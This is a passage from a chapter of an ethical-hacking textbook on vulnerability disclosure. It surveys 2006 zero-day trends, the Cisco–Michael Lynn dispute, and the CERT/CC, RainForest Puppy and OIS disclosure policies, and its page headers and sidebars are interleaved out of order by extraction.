exploited to compromise the security of a system. The number of vulnerabilities that
were discovered in Microsoft Office in 2006 tripled from the number that had been discovered in 2005. The actual number of vulnerabilities has not been released, but it is
common knowledge that at least 45 of these involved serious and critical vulnerabilities.
A few were zero-day exploits. A common method of attack against systems that have
Office applications installed is to use malicious Word, Excel, or PowerPoint documents
that are transmitted via e-mail. Once the user opens one of these document types, malicious code that is embedded in the document, spreadsheet, or presentation file executes
and can allow a remote attacker administrative access to the now-infected system.
SANS top 20 security attack targets 2006 annual update:
• Operating Systems
• W1. Internet Explorer
• W2. Windows Libraries
• W3. Microsoft Office
• W4. Windows Services
41
3
Gray Hat Hacking: The Ethical Hacker’s Handbook
42
• W5. Windows Configuration Weaknesses
• M1. Mac OS X
• U1. UNIX Configuration Weaknesses
• Cross-Platform Applications
• C1 Web Applications
• C2. Database Software
• C3. P2P File Sharing Applications
• C4 Instant Messaging
• C5. Media Players
• C6. DNS Servers
• C7. Backup Software
• C8. Security, Enterprise, and Directory Management Servers
• Network Devices
• N1. VoIP Servers and Phones
• N2. Network and Other Devices Common Configuration Weaknesses
• Security Policy and Personnel
• H1. Excessive User Rights and Unauthorized Devices
• H2. Users (Phishing/Spear Phishing)
• Special Section
• Z1. Zero Day Attacks and Prevention Strategies
One vulnerability is a Trojan horse that can be spread through various types of
Microsoft Office files and programmer kits. The Trojan horse’s reported name is
syosetu.doc. If a user logs in as an administrator on a system and the attacker exploits
this vulnerability, the attacker can take complete control over the system working under
the context of an administrator. The attacker can then delete data, install malicious code,
create new accounts, and more. If the user logs in under a less powerful account type, the
attacker is limited to what she can carry out under that user’s security context.
A vulnerability in PowerPoint allowed attackers to install a key-logging Trojan horse
(which also attempted to disable antivirus programs) onto computers that executed a
specially formed slide deck. The specially created presentation was a PowerPoint slide
deck that discussed the difference between men and women in a humorous manner,
which seems to always be interesting to either sex.
NOTE Creating some chain letters, cute pictures, or slides that appeal to
many people is a common vector of infecting other computers. One of the
main problems today is that many of these messages contain zero-day attacks,
which means that victims are vulnerable until the vendor releases some type
of fix or patch.
Chapter 3: Proper and Ethical Disclosure
43
PART I
In the past, attackers’ goals were usually to infect as many systems as possible or to
bring down a well-known system or website, for bragging rights. Today’s attackers are
not necessarily out for the “fun of it”; they are more serious about penetrating their targets for financial gains and attempt to stay under the radar of the corporations they are
attacking and of the press.
Examples of this shift can be seen in the uses of the flaws in Microsoft Office previously discussed. Exploitation of these vulnerabilities was not highly publicized for quite
some time. While the attacks did not appear to be a part of any kind of larger global campaign, they also didn’t seem to happen to more than one target at a time, but they have
occurred. Because these attacks cannot be detected through the analysis of large traffic
patterns or even voluminous intrusion detection system (IDS) and firewall logs, they are
harder to track. If they continue this pattern, it is unlikely that they will garner any great
attention. This does have the potential to be a dangerous combination. Why? If it won’t
grab anyone’s attention, especially compared with all the higher profile attacks that
flood the sea of other security software and hardware output, then it can go unnoticed
and not be addressed. While on the large scale it has very little impact, for those few who
are attacked, it could still be a massively damaging event. That is one of the major issues
with small attacks like these. They are considered to be small problems as long as they
are scattered and infrequent attacks that only affect a few.
Even systems and software that were once relatively unbothered by these kinds of
attacks are finding that they are no longer immune. Where Microsoft products once were
the main or only targets of these kinds of attacks due to their inherent vulnerabilities
and extensive use in the market, there has been a shift toward exploits that target other
products. Security researchers have noted that hackers are suddenly directing more
attention to Macintosh and Linux systems and Firefox browsers. There has also been a
major upswing in the types of attacks that exploit flaws in programs that are designed to
process media files such as Apple QuickTime, iTunes, Windows Media Player,
RealNetworks RealPlayer, Macromedia Flash Player, and Nullsoft Winamp. Attackers are
widening their net for things to exploit, including mobile phones and PDAs.
Macintosh systems, which were considered to be relatively safe from attacks, had to
deal with their own share of problems with zero-day attacks during 2006. In February, a
pair of worms that targeted Mac OS X were identified in conjunction with an easily
exploitable severe security flaw. Then at Black Hat in 2006, Apple drew even more fire
when Jon Ellch and Dave Maynor demonstrated how a rootkit could be installed on an
Apple laptop by using third-party Wi-Fi cards. The vulnerability supposedly lies in the
third-party wireless card device drivers. Macintosh users did not like to hear that their
systems could potentially be vulnerable and have questioned the validity of the vulnerability. Thus debate grows in the world of vulnerability discovery.
Mac OS X was once thought to be virtually free from flaws and vulnerabilities. But in
the wake of the 2006 pair of worms and the Wi-Fi vulnerability just discussed, that perception could be changing. While overall the MAC OS systems don’t have the number of
identified flaws as Microsoft products, enough has been discovered to draw attention to
the virtually ignored operating system. Industry experts are calling for Mac users to be
vigilant and not to become complacent.
Gray Hat Hacking: The Ethical Hacker’s Handbook
44
Complacency is the greatest threat now for Mac users. Windows users are all too
familiar with the vulnerabilities of their systems and have learned to adapt to the environment as necessary. Mac users aren’t used to this, and the misconception of being less
vulnerable to attacks could be their undoing. Experts warn that Mac malware is not a
myth and cite the creation of the Inqtana worm, which targeted Mac OS X by using a vulnerability in the Apple Bluetooth software that was more than eight months old, as an
example of the vulnerability that threatens Mac users.
Still another security flaw came to light for Apple in early 2006. It was reported that
visiting a malicious website by use of Apple’s Safari web browser could result in a
rootkit, backdoor, or other malicious software being installed onto the computer without the user’s knowledge. Apple did develop a patch for the vulnerability. This came
close on the heels of the discovery of a Trojan horse and worm that also targeted Mac
users. Apparently the new problem lies in the way that Mac OS X was processing
archived files. An attacker could embed malicious code into a ZIP file and then host it on
a website. The file and the embedded code would run when a Mac user would visit the
malicious site using the Safari browser. The operating system would execute the commands that came in the metadata for the ZIP files. This problem was made even worse
by the fact that these files would automatically be opened by Safari when it encountered
them on the Web. There is evidence that even ZIP files are not necessary to conduct this
kind of attack. The shell script can be disguised as practically anything. This is due to the
Mac OS Finder, which is the component of the operating system that is used to view and
organize the files. This kind of malicious file can even be hidden as a JPEG image.
This can occur because the operating system assigns each file an identifying image that
is based on the file extensions, but also decides which application will handle the file
based on the file permissions. If the file has any executable bits set, it will be run using Terminal, the Unix command-line prompt used in Mac OS X. While there have been no
large-scale reported attacks that have taken advantage of this vulnerability, it still represents a shift in the security world. At the writing of this edition, Mac OS X users can protect
themselves by disabling the “Open safe files after downloading” option in Safari.
With the increased proliferation of fuzzing tools and the combination of financial
motivations behind many of the more recent network attacks, it is unlikely that we can
expect any end to this trend of attacks in the near future. Attackers have come to understand that if they discover a flaw that was previously unknown, it is very unlikely that
their targets will have any kind of protection against it until the vendor gets around to
providing a fix. This could take days, weeks, or months. Through the use of fuzzing tools,
the process for discovering these flaws has become largely automated. Another aspect of
using these tools is that if the flaw is discovered, it can be treated as an expendable
resource. This is because if the vector of an attack is discovered and steps are taken to
protect against these kinds of attacks, the attackers know that it won’t be long before
more vectors will be found to replace the ones that have been negated. It’s simply easier
for the attackers to move on to the next flaw than to dwell on how a particular flaw can
continue to be exploited.
With 2006 being the named “the year of zero-day attacks” it wasn’t surprising that
security experts were quick to start using the phrase “zero-day Wednesdays.” This term
Chapter 3: Proper and Ethical Disclosure
45
Many years ago the majority of vulnerabilities were those of a “zero-day” style
because there were no fixes released by vendors. It wasn’t uncommon for vendors to
avoid talking about, or even dealing with, the security defects in their products that
allowed these attacks to occur. The information about these vulnerabilities primarily stayed in the realm of those that were conducting the attacks. A shift occurred in
the mid-‘90s, and it became more common to discuss security bugs. This practice
continued to become more widespread. Vendors, once mute on the topic, even
started to assume roles that became more and more active, especially in areas that
involved the dissemination of information that provided protective measures. Not
wanting to appear as if they were deliberately hiding information, and instead wanting to continue to foster customer loyalty, vendors began to set up security-alert
mailing lists and websites. Although this all sounds good and gracious, in reality
gray hat attackers, vendors, and customers are still battling with each other and
among themselves on how to carry out this process. Vulnerability discovery is better
than it was, but it is still a mess in many aspects and continually controversial.
came about because hackers quickly found a way to exploit the cycles in which
Microsoft issued its software patches. The software giant issues its patches on the second
Tuesday of every month, and hackers would use the identified vulnerabilities in the
patches to produce exploitable code in an amazingly quick turnaround time. Since most
corporations and home users do not patch their systems every week, or every month,
this provides a window of time for attackers to use the vulnerabilities against the targets.
In January, 2006 when a dangerous Windows Meta File flaw was identified, many
companies implemented Ilfak Guilfanov’s non-Microsoft official patch instead of waiting for the vendor. Guilfanov is a Russian software developer and had developed the fix
for himself and his friends. He placed the fix on his website, and after SANS and F-Secure
advised people to use this patch, his website was quickly overwhelmed by downloading.
NOTE The Windows Meta File flaw uses images to execute malicious code
on systems. It can be exploited just by a user viewing the image.
Guilfanov’s release caused a lot of controversy. First, attackers used the information in
the fix to create exploitable code and attacked systems with their exploit (same thing
that happens after a vendor releases a patch). Second, some feel uneasy about trusting
the downloading of third-party fixes compared with the vendors’ fixes. (Many other
individuals felt safer using Guilfanov’s code because it was not compiled; thus individuals could scan the code for any malicious attributes.) And third, this opens a whole new
PART I
Evolution of the Process
Gray Hat Hacking: The Ethical Hacker’s Handbook
46
can of worms pertaining to companies installing third-party fixes instead of waiting for
the vendor. As you can tell, vulnerability discovery is in flux about establishing one specific process, which causes some chaos followed by a lot of debates.
You Were Vulnerable for How Long?
Even when a vulnerability has been reported, there is still a window where the exploit is
known about but a fix hasn’t been created by the vendors or the antivirus and antispyware companies. This is because they need to assess the attack and develop the
appropriate response. Figure 3-1 displays how long it took for vendors to release fixes to
identified vulnerabilities.
The increase in interest and talent in the black hat community translates to quicker
and more damaging attacks and malware for the industry. It is imperative for vendors
not to sit on the discovery of true vulnerabilities, but to work to get the fixes to the customers who need them as soon as possible.
Figure 3-1
Illustration of the amount of time it took to develop fixes
Chapter 3: Proper and Ethical Disclosure
47
Different Teams and Points of View
Unfortunately, almost all of today’s software products are riddled with flaws. The flaws can
present serious security concerns to the user. For customers who rely extensively on applications to perform core business functions, the effects of bugs can be crippling and thus must
be dealt with. How to address the problem is a complicated issue because it involves a few
key players who usually have very different views on how to achieve a resolution.
The first player is the consumer. An individual or company buys the product, relies on it,
and expects it to work. Often, the customer owns a community of interconnected systems
that all rely on the successful operation of the software to do business. When the customer
finds a flaw, she reports it to the vendor and expects a solution in a reasonable timeframe.
The software vendor is the second player. It develops the product and is responsible
for its successful operation. The vendor is looked to by thousands of customers for technical expertise and leadership in the upkeep of the product. When a flaw is reported to
PART I
For this to take place properly, ethical hackers must understand and follow the proper
methods of disclosing identified vulnerabilities to the software vendor. As mentioned in
Chapter 1, if an individual uncovers a vulnerability and illegally exploits it and/or tells
others how to carry out this activity, he is considered a black hat. If an individual uncovers a vulnerability and exploits it with authorization, he is considered a white hat. If a
different person uncovers a vulnerability, does not illegally exploit it or tell others how
to do it, but works with the vendor—this person gets the label of gray hat.
Unlike other books and resources that are available today, we are promoting the use
of the knowledge that we are sharing with you to be used in a responsible manner that
will only help the industry—not hurt it. This means that you should understand the policies, procedures, and guidelines that have been developed to allow the gray hats and the
vendors to work together in a concerted effort. These items have been created because of
the difficulty in the past of teaming up these different parties (gray hats and vendors) in
a way that was beneficial. Many times individuals identify a vulnerability and post it
(along with the code necessary to exploit it) on a website without giving the vendor the
time to properly develop and release a fix. On the other hand, many times when gray
hats have tried to contact vendors with their useful information, the vendor has ignored
repeated requests for communication pertaining to a particular weakness in a product.
This lack of communication and participation from the vendor’s side usually
resulted in the individual—who attempted to take a more responsible approach—posting the vulnerability and exploitable code to the world. This is then followed by successful attacks taking place and the vendor having to scramble to come up with a patch and
endure a reputation hit. This is a sad way to force the vendor to react to a vulnerability,
but in the past it has at times been the only way to get the vendor’s attention.
So before you jump into the juicy attack methods, tools, and coding issues we cover,
make sure you understand what is expected of you once you uncover the security flaws
in products today. There are enough people doing the wrong things in the world. We are
looking to you to step up and do the right thing.
Gray Hat Hacking: The Ethical Hacker’s Handbook
48
the vendor, it is usually one of many that must be dealt with, and some fall through the
cracks for one reason or another.
Gray hats are also involved in this dance when they find software flaws. Since they are
not black hats, they want to help the industry and not hurt it. They, in one manner or
another, attempt to work with the vendor to develop a fix. Their stance is that customers
should not have to be vulnerable to attacks for an extended period. Sometimes vendors
will not address the flaw until the next scheduled patch release or the next updated version of the product altogether. In these situations the customers and industry have no
direct protection and must fend for themselves.
The issue of public disclosure has created quite a stir in the computing industry,
because each group views the issue so differently. Many believe knowledge is the public’s right and all security vulnerability information should be disclosed as a matter of
principle. Furthermore, many individuals feel that the only way to truly get quick
results from a large software vendor is to pressure it to fix the problem by threatening to
make the information public. As mentioned, vendors have had the reputation of simply
plodding along and delaying the fixes until a later version or patch, which will address
the flaw, is scheduled for release. This approach doesn’t have the best interests of the
consumers in mind, however, as they must sit and wait while their business is put in
danger with the known vulnerability.
The vendor looks at the issue from a different perspective. Disclosing sensitive information about a software flaw causes two major problems. First, the details of the flaw
will help hackers to exploit the vulnerability. The vendor’s argument is that if the issue is
kept confidential while a solution is being developed, attackers will not know how to
exploit the flaw. Second, the release of this information can hurt the reputation of the
company, even in circumstances when the reported flaw is later proven to be false. It is
much like a smear campaign in a political race that appears as the headline story in a
newspaper. Reputations are tarnished and even if the story turns out to be false, a retraction is usually printed on the back page a week later. Vendors fear the same consequence
for massive releases of vulnerability reports.
So security researchers (“gray hat hackers”) get frustrated with the vendors for their lack
of response to reported vulnerabilities. Vendors are often slow to publicly acknowledge
the vulnerabilities because they either don’t have time to develop and distribute a suitable
fix, or they don’t want the public to know their software has serious problems, or both.
This rift boiled over in July 2005 at the Black Hat Conference in Las Vegas, Nevada. In
April 2005, a 24-year-old security researcher named Michael Lynn, an employee of the
security firm Internet Security Systems, Inc. (ISS), identified a buffer overflow vulnerability in Cisco’s IOS (Internetwork Operating System). This vulnerability allowed the
attacker full control of the router. Lynn notified Cisco of the vulnerability, as an ethical
security researcher should. When Cisco was slow to address the issue, Lynn planned to
disclose the vulnerability at the July Black Hat Conference.
Two days before the conference, when Cisco, claiming they were defending their
intellectual property, threatened to sue both Lynn and his employer ISS, Lynn agreed to
give a different presentation. Cisco employees spent hours tearing out Lynn’s disclosure
presentation from the conference program notes that were being provided to attendees.
Cisco also ordered 2,000 CDs containing the presentation destroyed. Just before giving
Chapter 3: Proper and Ethical Disclosure
49
NOTE Those who are interested can still find a copy of the Lynn
presentation.
Incidents like this fuel the debate over disclosing vulnerabilities after vendors have
had time to respond but have not. One of the hot buttons in this arena of researcher
frustration is the Month of Bugs (often referred to as MoXB) approach, where individuals target a specific technology or vendor and commit to releasing a new bug every day
for a month. In July 2006, a security researcher, H.D. Moore, the creator of the Month of
Bugs concept, announced his intention to publish a Month of Browser Bugs (MoBB) as a
result of reported vulnerabilities being ignored by vendors.
Since then, several other individuals have announced their own targets, like the
November 2006 Month of Kernel Bugs (MoKB) and the January 2007 Month of Apple
Bugs (MoAB). In November 2006, a new proposal was issued to select a 31-day month
in 2007 to launch a Month of PHP bugs (MoPB). They didn’t want to limit the opportunity by choosing a short month.
Some consider this a good way to force vendors to be responsive to bug reports. Others
consider this to be extortion and call for prosecution with lengthy prison terms. Because
of these two conflicting viewpoints, several organizations have rallied together to create
policies, guidelines, and general suggestions on how to handle software vulnerability disclosures. This chapter will attempt to cover the issue from all sides and to help educate you
on the fundamentals behind the ethical disclosure of software vulnerabilities.
How Did We Get Here?
Before the mailing list Bugtraq was created, individuals who uncovered vulnerabilities
and ways to exploit them just communicated directly with each other. The creation of
Bugtraq provided an open forum for individuals to discuss these same issues and to
work collectively. Easy access to ways of exploiting vulnerabilities gave rise to the script
kiddie point-and-click tools available today, which allow people who did not even
understand the vulnerability to successfully exploit it. Posting more and more
PART I
his alternate presentation, Lynn resigned from ISS and then delivered his original Cisco
vulnerability disclosure presentation.
Later Lynn stated, “I feel I had to do what’s right for the country and the national
infrastructure,” he said. “It has been confirmed that bad people are working on this
(compromising IOS). The right thing to do here is to make sure that everyone knows
that it’s vulnerable...” Lynn further stated, “When you attack a host machine, you gain
control of that machine—when you control a router, you gain control of the network.”
The Cisco routers that contained the vulnerability were being used worldwide. Cisco
sued Lynn and won a permanent injunction against him, disallowing any further disclosure of the information in the presentation. Cisco claimed that the presentation “contained proprietary information and was illegally obtained.” Cisco did provide a fix and
stopped shipping the vulnerable version of the IOS.
Gray Hat Hacking: The Ethical Hacker’s Handbook
50
vulnerabilities to the Internet has become a very attractive pastime for hackers and
crackers. This activity increased the number of attacks on the Internet, networks, and
vendors. Many vendors demanded a more responsible approach to vulnerability
disclosure.
In 2002, Internet Security Systems (ISS) discovered several critical vulnerabilities in
products like Apache web server, Solaris X Windows font service, and Internet Software
Consortium BIND software. ISS worked with the vendors directly to come up with solutions. A patch that was developed and released by Sun Microsystems was flawed and had
to be recalled. In another situation, an Apache patch was not released to the public until
after the vulnerability was posted through public disclosure, even though the vendor
knew about the vulnerability. These types of incidents, and many more like them,
caused individuals and companies to endure a lower level of protection, to fall victim to
attacks, and eventually to deeply distrust software vendors. Critics also charged that
security companies like ISS have ulterior motives for releasing this type of information.
They suggest that by releasing system flaws and vulnerabilities, they generate good press
for themselves and thus promote new business and increased revenue.
Because of the resulting controversy that ISS encountered pertaining to how it released
information on vulnerabilities, it decided to initiate its own disclosure policy to handle
such incidents in the future. It created detailed procedures to follow when discovering a
vulnerability, and how and when that information would be released to the public.
Although their policy is considered “responsible disclosure” in general, it does include
one important twist—vulnerability details would be released to paying subscribers one
day after the vendor has been notified. This fueled the anger of the people who feel that
vulnerability information should be available for the public to protect themselves.
This and other dilemmas represent the continual disconnect between vendors, software customers, and gray hat hackers today. There are differing views and individual
motivations that drive each group down different paths. The models of proper disclosure that are discussed in this chapter have helped these different entities to come
together and work in a more concerted manner, but there is still a lot of bitterness and
controversy around this issue.
NOTE The amount of emotion, debates, and controversy over the topic of
full disclosure has been immense. The customers and security professionals
are frustrated that the software flaws exist in the products in the first place,
and by the lack of effort of the vendors to help in this critical area. Vendors
are frustrated because exploitable code is continually released as they are trying to develop
fixes. We will not be taking one side or the other of this debate, but will do our best to tell
you how you can help and not hurt the process.
CERT’s Current Process
The first place to turn to when discussing the proper disclosure of software vulnerabilities
is the governing body known as the CERT Coordination Center (CERT/CC). CERT/CC is a
federally funded research and development operation that focuses on Internet security
Chapter 3: Proper and Ethical Disclosure
51
• Full disclosure will be announced to the public within 45 days of being
reported to CERT/CC. This timeframe will be executed even if the software
vendor does not have an available patch or appropriate remedy. The only
exception to this rigid deadline will be exceptionally serious threats or scenarios
that would require a standard to be altered.
• CERT/CC will notify the software vendor of the vulnerability immediately so
that a solution can be created as soon as possible.
• Along with the description of the problem, CERT/CC will forward the name of
the person reporting the vulnerability, unless the reporter specifically requests
to remain anonymous.
• During the 45-day window, CERT/CC will update the reporter on the current
status of the vulnerability without revealing confidential information.
CERT/CC states that its vulnerability policy was created with the express purpose of
informing the public of potentially threatening situations while offering the software
vendor an appropriate timeframe to fix the problem. The independent body further
states that all decisions on the release of information to the public are based on what is
best for the overall community.
The decision to go with 45 days was met with opposition, as consumers widely felt
that this was too much time to keep important vulnerability information concealed. The
vendors, on the other hand, feel the pressure to create solutions in a short timeframe,
while also shouldering the obvious hits their reputations will take as news spreads
about flaws in their product. CERT/CC came to the conclusion that 45 days was sufficient time for vendors to get organized, while still taking into account the welfare of
consumers.
A common argument that was posed when CERT/CC announced their policy was,
“Why release this information if there isn’t a fix available?” The dilemma that was raised
is based on the concern that if a vulnerability is exposed without a remedy, hackers will
scavenge the flawed technology and be in prime position to bring down users’ systems.
The CERT/CC policy insists, however, that without an enforced deadline the vendor will
have no motivation to fix the problem. Too often, a software maker could simply delay
the fix into a later release, which puts the consumer in a vulnerable position.
To accommodate vendors and their perspective of the problem, CERT/CC performs
the following:
• CERT/CC will make good faith efforts to always inform the vendor before
releasing information so there are no surprises.
PART I
and related issues. Established in 1988 in reaction to the first major virus outbreak on
the Internet, the CERT/CC has evolved over the years, taking on a more substantial role
in the industry that includes establishing and maintaining industry standards for the
way technology vulnerabilities are disclosed and communicated. In 2000, the organization issued a policy that outlined the controversial practice of releasing software vulnerability information to the public. The policy covered the following areas:
Gray Hat Hacking: The Ethical Hacker’s Handbook
52
• CERT/CC will solicit vendor feedback in serious situations and offer that
information in the public release statement. In instances when the vendor
disagrees with the vulnerability assessment, the vendor’s opinion will be
released as well, so that both sides can have a voice.
• Information will be distributed to all related parties that have a stake in the
situation prior to the disclosure. Examples of parties that could be privy to
confidential information include participating vendors, experts who could
provide useful insight, Internet Security Alliance members, and groups that may
be in the critical path of the vulnerability.
Although there have been other guidelines developed and implemented after CERT’s
model, CERT is usually the “middleperson” between the bug finder and the vendor to
try and help the process, and to enforce the necessary requirements for all of the parties
involved. As of this writing, the model that is most commonly used is the Organization
for Internet Safety (OIS) guidelines. CERT works within this model when called upon by
vendors or gray hats.
The following are just some of the vulnerability issues posted by CERT:
• VU#179281 Electronic Arts SnoopyCtrl ActiveX control and plug-in stack buffer
overflows
• VU#336105 Sun Java JRE vulnerable to unauthorized network access
• VU#571584 Google Gmail cross-site request forgery vulnerability
• VU#611008 Microsoft MFC FindFile function heap buffer overflow
• VU#854769 PhotoChannel Networks Photo Upload Plugin ActiveX control
stack buffer overflows
• VU#751808 Apple QuickTime remote command execution vulnerability
• VU#171449 Callisto PhotoParade Player PhPInfo ActiveX control buffer
overflow
• VU#768440 Microsoft Windows Services for UNIX privilege escalation
vulnerability
• VU#716872 Microsoft Agent fails to properly handle specially crafted URLs
• VU#466433 Web sites may transmit authentication tokens unencrypted
Full Disclosure Policy (RainForest Puppy Policy)
A full disclosure policy, known as RainForest Puppy Policy (RFP) version 2, takes a
harder line with software vendors than CERT/CC. This policy takes the stance that the
reporter of the vulnerability should make an effort to contact and work together with
the vendor to fix the problem, but the act of cooperating with the vendor is a step that
the reporter is not required to take, so it is considered a gesture of goodwill. Under this
Chapter 3: Proper and Ethical Disclosure
53
• The issue begins when the originator (the reporter of the problem) e-mails the
maintainer (the software vendor) with the details of the problem. The moment
the e-mail is sent is considered the date of contact. The originator is responsible
for locating the appropriate contact information of the maintainer, which can
usually be obtained through its website. If this information is not available,
e-mails should be sent to one or all of the addresses shown next.
The common e-mail formats that should be implemented by vendors include:
security-alert@[maintainer]
secure@[maintainer]
security@[maintainer]
support@[maintainer]
info@[maintainer]
• The maintainer will be allowed five days from the date of contact to reply to the
originator. The date of contact is from the perspective of the originator of the
issue, meaning if the person reporting the problem sends an e-mail from New
York at 10 A.M. to a software vendor in Los Angeles, the time of contact is 10
A.M. Eastern time. The maintainer must respond within five days, which would
be 7 A.M. Pacific time five days later. An auto-response to the originator’s e-mail
is not considered sufficient contact. If the maintainer does not establish contact
within the allotted time, the originator is free to disclose the information. Once
contact has been made, decisions on delaying disclosures should be discussed
between the two parties. The RFP policy warns the vendor that contact should
be made sooner rather than later. It reminds the software maker that the finder
of the problem is under no requirement to cooperate, but is simply being asked
to do so in the best interests of all parties.
• The originator should make every effort to assist the vendor in reproducing
the problem and adhering to its reasonable requests. It is also expected that the
originator will show reasonable consideration if delays occur, and if the maintainer
shows legitimate reasons why it will take additional time to fix the problem.
Both parties should work together to find a solution.
• It is the responsibility of the vendor to provide regular status updates every five
days that detail how the vulnerability is being addressed. It should also be
noted that it is solely the responsibility of the vendor to provide updates, and
not the responsibility of the originator to request them.
• As the problem and fix are released to the public, the vendor is expected to credit
the originator for identifying the problem. This is considered a professional
gesture to the individual or company for voluntarily exposing the problem. If this
good faith effort is not executed, there will be little motivation for the originator
to follow these guidelines in the future.
PART I
model, strict policies are enforced upon the vendor if it wants the situation to remain
confidential. The details of the policy follow:
Gray Hat Hacking: The Ethical Hacker’s Handbook
54
• The maintainer and the originator should make disclosure statements in
conjunction with each other so that all communication will be free from
conflict or disagreement. Both sides are expected to work together throughout
the process.
• In the event that a third party announces the vulnerability, the originator and
maintainer are encouraged to discuss the situation and come to an agreement
on a resolution. The resolution could include the originator disclosing the
vulnerability, or the maintainer disclosing the information and available fixes
while also crediting the originator. The full disclosure policy also recommends
that all details of the vulnerability be released if a third party releases the
information first. Because the vulnerability is already known, it is the
responsibility of the vendor to provide specific details, such as the diagnosis,
the solution, and the timeframe.
RainForest Puppy is a well-known hacker who has uncovered an amazing number of
vulnerabilities in different products. He has a long history of successfully, and at times
unsuccessfully, working with vendors on helping them develop fixes for the problems
he has uncovered. The disclosure guidelines that he developed came from his years of
experience in this type of work, and his level of frustration at the vendors not working
with individuals like himself once bugs were uncovered.
The key to these disclosure policies is that they are just guidelines and suggestions on
how vendors and bug finders should work together. They are not mandated and cannot be
enforced. Since the RFP policy takes a strict stance on dealing with vendors on these issues,
many vendors have chosen not to work under this policy. So another set of guidelines was
developed by a different group of people, which includes a long list of software vendors.
Organization for Internet Safety (OIS)
There are three basic types of vulnerability disclosures: full disclosure, partial disclosure,
and nondisclosure. There are advocates for each type, and long lists of pros and cons that
can be debated for each. CERT and RFP take a rigid approach to disclosure practices. Strict
guidelines were created, which were not always perceived as fair and flexible by participating parties. The Organization for Internet Safety (OIS) was created to help meet the needs
of all groups and it fits into a partial disclosure classification. This section will give an
overview of the OIS approach, as well as provide the step-by-step methodology that has
been developed to provide a more equitable framework for both the user and the vendor.
OIS is a group of researchers and vendors that was formed with the goal of improving
the way software vulnerabilities are handled. The OIS members include @stake,
BindView Corp (acquired by Symantec), The SCO Group, Foundstone (a division of
McAfee, Inc.), Guardent, Internet Security Systems (owned by VeriSign), Microsoft Corporation, Network Associates (a division of McAfee, Inc.), Oracle Corporation, SGI, and
Chapter 3: Proper and Ethical Disclosure
55
• Reduce the risk of software vulnerabilities by providing an improved method of
identification, investigation, and resolution.
• Improve the overall engineering quality of software by tightening the security
placed upon the end product.
There is a controversy related to OIS. Most of it has to do with where the organization’s
loyalties lie. Because the OIS was formed by vendors, some critics question their methods
and willingness to disclose vulnerabilities in a timely and appropriate manner. The root of
this is how the information about a vulnerability is handled, as well as to whom it is disclosed. Some believe that while it is a good idea to provide the vendors with the opportunity to create fixes for vulnerabilities before they are made public, it is a bad idea not to
have a predetermined time line in place for disclosing those vulnerabilities. The thinking
is that vendors should be allowed to fix a problem, but how much time is a fair window to
give them? Keep in mind that the entire time the vulnerability has not been announced, or
a fix has not been created, the vulnerability still remains. The greatest issue that many take
with OIS is that their practices and policies put the needs of the vendor above the needs of
the community which could be completely unaware of the risk it runs.
As the saying goes, “You can’t make everyone happy all of the time.” A group of concerned individuals came together to help make the vulnerability discovery process more
structured and reliable. While some question their real allegiance, since the group is made
up mostly of vendors, it is probably more of a case of, “A good deed never goes unpunished.” The security community is always suspicious of others’ motives—that is what
makes them the “security community,” and it is also why continual debates surround
these issues.
Discovery
The OIS process begins when someone finds a flaw in the software. It can be discovered
by a variety of individuals, such as researchers, consumers, engineers, developers, gray
hats, or even casual users. The OIS calls this person or group the finder. Once the flaw is
discovered, the finder is expected to carry out the following due diligence:
1. Discover if the flaw has already been reported in the past.
2. Look for patches or service packs and determine if they correct the problem.
3. Determine if the flaw affects the default configuration of the product.
4. Ensure that the flaw can be reproduced consistently.
PART I
Symantec. The OIS believes that vendors and consumers should work together to identify issues and devise reasonable resolutions for both parties. It is not a private organization that mandates its policy to anyone, but rather it tries to bring together a broad,
valued panel that offers respected, unbiased opinions that are considered recommendations. The model was formed to accomplish two goals:
Gray Hat Hacking: The Ethical Hacker’s Handbook
56
After the finder completes this “sanity check” and is sure that the flaw exists, the issue
should be reported. The OIS designed a report guideline, known as a vulnerability summary report (VSR), that is used as a template to properly describe the issues. The VSR
includes the following components:
• Finder’s contact information
• Security response policy
• Status of the flaw (public or private)
• Whether the report contains confidential information
• Affected products/versions
• Affected configurations
• Description of flaw
• Description of how the flaw creates a security problem
• Instructions on how to reproduce the problem
Notification
The next step in the process is contacting the vendor. This is considered the most important phase of the plan according to the OIS. Open and effective communication is the
key to understanding and ultimately resolving the software vulnerability. The following
are guidelines for notifying the vendor.
The vendor is expected to do the following:
• Provide a single point of contact for vulnerability reports.
• Post contact information in at least two publicly accessible locations, and
include the locations in its security response policy.
• Include in contact information:
• Reference to the vendor’s security policy
• A complete listing/instructions for all contact methods
• Instructions for secure communications
• Make reasonable efforts to ensure that e-mails sent to the following formats are
rerouted to the appropriate parties:
• abuse@[vendor]
• postmaster@[vendor]
• sales@[vendor]
• info@[vendor]
• support@[vendor]
Chapter 3: Proper and Ethical Disclosure
57
• Cooperate with the finder, even if it chooses to use insecure methods of
communication.
The finder is expected to:
• Submit any found flaws to the vendor by sending a vulnerability summary
report (VSR) to one of the published points of contact.
• If the finder cannot locate a valid contact address, it should send the VSR to one
or many of the following addresses:
• abuse@[vendor]
• postmaster@[vendor]
• sales@[vendor]
• info@[vendor]
• supports@[vendor]
Once the VSR is received, some vendors will choose to notify the public that a flaw
has been uncovered and that an investigation is under way. The OIS encourages vendors
to use extreme care when disclosing information that could put users’ systems at risk. It
is also expected that vendors will inform the finder that they intend to disclose the information to the public.
In cases where the vendor does not wish to notify the public immediately, it still needs
to respond to the finder. After the VSR is sent, the vendor must respond directly to the
finder within seven days. If the vendor does not respond during this period, the finder
should then send a Request for Confirmation of Receipt (RFCR). The RFCR is basically a final
warning to the vendor stating that a vulnerability has been found, a notification has been
sent, and a response is expected. The RFCR should also include a copy of the original VSR
that was sent previously. The vendor will be given three days to respond.
If the finder does not receive a response to the RFCR in three business days, it can
move forward with public notification of the software flaw. The OIS strongly encourages
both the finder and the vendor to exercise caution before releasing potentially dangerous information to the public. The following guidelines should be observed:
• Exit the communication process only after trying all possible alternatives.
• Exit the process only after providing notice to the vendor (RFCR would be
considered an appropriate notice statement).
• Reenter the process once any type of deadlock situation is resolved.
The OIS encourages, but does not require, the use of a third party to assist with communication breakdowns. Using an outside party to investigate the flaw and to stand
between the finder and vendor can often speed up the process and provide a resolution
PART I
• Provide a secure communication method between itself and the finder. If the
finder uses encrypted transmissions to send its message, the vendor should
reply in a similar fashion.
Gray Hat Hacking: The Ethical Hacker’s Handbook
58
that is agreeable to both parties. A third party can consist of security companies, professionals, coordinators, or arbitrators. Both sides must consent to the use of this independent body and agree upon the selection process.
If all efforts have been made and the finder and vendor are still not in agreement,
either side can elect to exit the process. Again, the OIS strongly encourages both sides to
